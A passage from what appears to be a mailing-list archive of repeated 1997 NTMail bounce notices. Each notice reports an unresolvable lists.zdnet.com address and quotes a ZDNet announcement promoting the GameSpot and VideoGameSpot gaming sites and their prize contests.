Date: Tue, 25 Feb 1997 14:05:48 -0800 (PST)
Subject: Failed mail
Message-ID: <aa219856.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id aa219856; Tue, 25 Feb 1997 17:09:47 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:47 -0500
>Message-Id: <22094706345863@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:05:39 -0800 (PST)
Subject: Failed mail
Message-ID: <da219859.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id da219859; Tue, 25 Feb 1997 17:09:50 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:50 -0500
>Message-Id: <22095097845866@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:17 -0800 (PST)
Subject: Failed mail
Message-ID: <ca219858.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ca219858; Tue, 25 Feb 1997 17:09:49 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:49 -0500
>Message-Id: <22094962645865@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:20 -0800 (PST)
Subject: Failed mail
Message-ID: <ba219857.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ba219857; Tue, 25 Feb 1997 17:09:48 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:48 -0500
>Message-Id: <22094836545864@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:18 -0800 (PST)
Subject: Failed mail
Message-ID: <ga219862.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
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>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ga219862; Tue, 25 Feb 1997 17:09:55 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:54 -0500
>Message-Id: <22095495445869@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:08:59 -0800 (PST)
Subject: Failed mail
Message-ID: <ia219864.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ia219864; Tue, 25 Feb 1997 17:09:57 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:57 -0500
>Message-Id: <22095773845871@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:09:01 -0800 (PST)
Subject: Failed mail
Message-ID: <ea219860.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ea219860; Tue, 25 Feb 1997 17:09:52 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:52 -0500
>Message-Id: <22095235045867@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:09:07 -0800 (PST)
Subject: Failed mail
Message-ID: <fa219861.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id fa219861; Tue, 25 Feb 1997 17:09:53 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:53 -0500
>Message-Id: <22095365245868@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:13 -0800 (PST)
Subject: Failed mail
Message-ID: <ha219863.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ha219863; Tue, 25 Feb 1997 17:09:56 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:56 -0500
>Message-Id: <22095636645870@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:05:51 -0800 (PST)
Subject: Failed mail
Message-ID: <ma219868.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ma219868; Tue, 25 Feb 1997 17:10:04 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:03 -0500
>Message-Id: <22100401745875@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:09:10 -0800 (PST)
Subject: Failed mail
Message-ID: <ka219866.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ka219866; Tue, 25 Feb 1997 17:10:00 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:00 -0500
>Message-Id: <22100044245873@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:10:52 -0800 (PST)
Subject: Failed mail
Message-ID: <la219867.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id la219867; Tue, 25 Feb 1997 17:10:02 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:02 -0500
>Message-Id: <22100246545874@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:07:23 -0800 (PST)
Subject: Failed mail
Message-ID: <ja219865.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ja219865; Tue, 25 Feb 1997 17:09:59 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:59 -0500
>Message-Id: <22095905045872@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:09:09 -0800 (PST)
Subject: Failed mail
Message-ID: <ra219873.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ra219873; Tue, 25 Feb 1997 17:10:10 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:10:10 -0500
>Message-Id: <22101080745882@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
